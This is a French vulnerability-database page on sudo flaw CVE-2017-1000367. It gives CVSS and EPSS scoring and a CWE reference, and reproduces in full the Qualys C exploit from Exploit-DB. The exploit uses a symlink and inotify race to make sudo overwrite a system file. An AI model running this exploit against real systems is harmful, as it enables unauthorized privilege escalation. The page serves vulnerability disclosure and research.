CVE-2017-1000367 : Détail

CVE-2017-1000367

6.4
/
Moyen
0.18%V3
Local
2017-06-04
22h00 +00:00
2022-12-21
23h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Todd Miller's sudo version 1.8.20 and earlier is vulnerable to an input validation (embedded spaces) in the get_process_ttyname() function resulting in information disclosure and command execution.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.4 MEDIUM CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

High

The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 42183

Date de publication : 2017-06-13 22h00 +00:00
Auteur : Qualys Corporation
EDB Vérifié : No

/* * E-DB Note: http://www.openwall.com/lists/oss-security/2017/05/30/16 * E-DB Note: http://seclists.org/oss-sec/2017/q2/470 * * Linux_sudo_CVE-2017-1000367.c * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <limits.h> #include <paths.h> #include <pty.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define SUDO_BINARY "/usr/bin/sudo" #define TARGET_FILE "/etc/init.d/README" #define SELINUX_ROLE "unconfined_r" #define WORKING_DIR "/dev/shm/_tmp" #define TTY_SYMLINK WORKING_DIR "/_tty" #define TTY_SYMLINK_ TTY_SYMLINK "_" #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) int main(const int my_argc, const char * const my_argv[]) { if (my_argc <= 1) die(); if (my_argc >= INT_MAX/2) die(); char comm[sizeof(WORKING_DIR) + 16]; char pts[PATH_MAX]; #define PTS_NUM 32 int pts_fds[2 * PTS_NUM]; unsigned int i = PTS_NUM; while (i--) { int ptm_fd; if (openpty(&ptm_fd, &pts_fds[i], pts, NULL, NULL)) die(); if (close(ptm_fd)) die(); } struct stat sbuf; if (fstat(*pts_fds, &sbuf)) die(); if (!S_ISCHR(sbuf.st_mode)) die(); if (sbuf.st_rdev <= 0) die(); if ((unsigned int)snprintf(comm, sizeof(comm), "%s/ %lu ", WORKING_DIR, (unsigned long)sbuf.st_rdev) >= sizeof(comm)) die(); for (i = 0; i < PTS_NUM; i++) { if (close(pts_fds[i])) die(); } if (mkdir(WORKING_DIR, 0700)) die(); if (symlink(pts, TTY_SYMLINK)) die(); if (symlink(TARGET_FILE, TTY_SYMLINK_)) die(); if (symlink(SUDO_BINARY, comm)) die(); const int inotify_fd = inotify_init1(IN_CLOEXEC); if (inotify_fd <= -1) die(); const int working_wd = inotify_add_watch(inotify_fd, WORKING_DIR, IN_OPEN | IN_CLOSE_NOWRITE); if (working_wd <= -1) die(); const int cpu = sched_getcpu(); if (cpu >= CPU_SETSIZE) die(); if (cpu < 0) die(); cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(cpu, &cpu_set); if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { const unsigned int argc = 3 + my_argc - 1; char ** const argv = calloc(argc + 1, sizeof(char *)); if (!argv) die(); argv[0] = comm; argv[1] = "-r"; argv[2] = SELINUX_ROLE; memcpy(&argv[3], &my_argv[1], my_argc * sizeof(char *)); if (argv[argc]) die(); if (setpriority(PRIO_PROCESS, 0, +19) != 0) die(); static const struct sched_param sched_param = { .sched_priority = 0 }; (void) sched_setscheduler(0, SCHED_IDLE, &sched_param); execve(*argv, argv, NULL); die(); } struct inotify_event event; if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die(); if (kill(pid, SIGSTOP)) die(); if (event.wd != working_wd) die(); if (event.mask != (IN_OPEN | IN_ISDIR)) die(); for (i = 0; ; i++) { if (i >= sizeof(pts_fds) / sizeof(*pts_fds)) die(); int ptm_fd; char tmp[PATH_MAX]; if (openpty(&ptm_fd, &pts_fds[i], tmp, NULL, NULL)) die(); if (!strcmp(tmp, pts)) break; if (close(ptm_fd)) die(); } while (i--) { if (close(pts_fds[i])) die(); } if (kill(pid, SIGCONT)) die(); if (read(inotify_fd, &event, sizeof(event)) != (ssize_t)sizeof(event)) die(); if (kill(pid, SIGSTOP)) die(); if (event.wd != working_wd) die(); if (event.mask != (IN_CLOSE_NOWRITE | IN_ISDIR)) die(); if (rename(TTY_SYMLINK_, TTY_SYMLINK)) die(); if (kill(pid, SIGCONT)) die(); int status = 0; if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (!WIFEXITED(status)) die(); if (unlink(comm)) die(); if (unlink(TTY_SYMLINK)) die(); if (rmdir(WORKING_DIR)) die(); exit(WEXITSTATUS(status)); }

Products Mentioned

Configuraton 0

Sudo_project>>Sudo >> Version To (including) 1.8.20

Références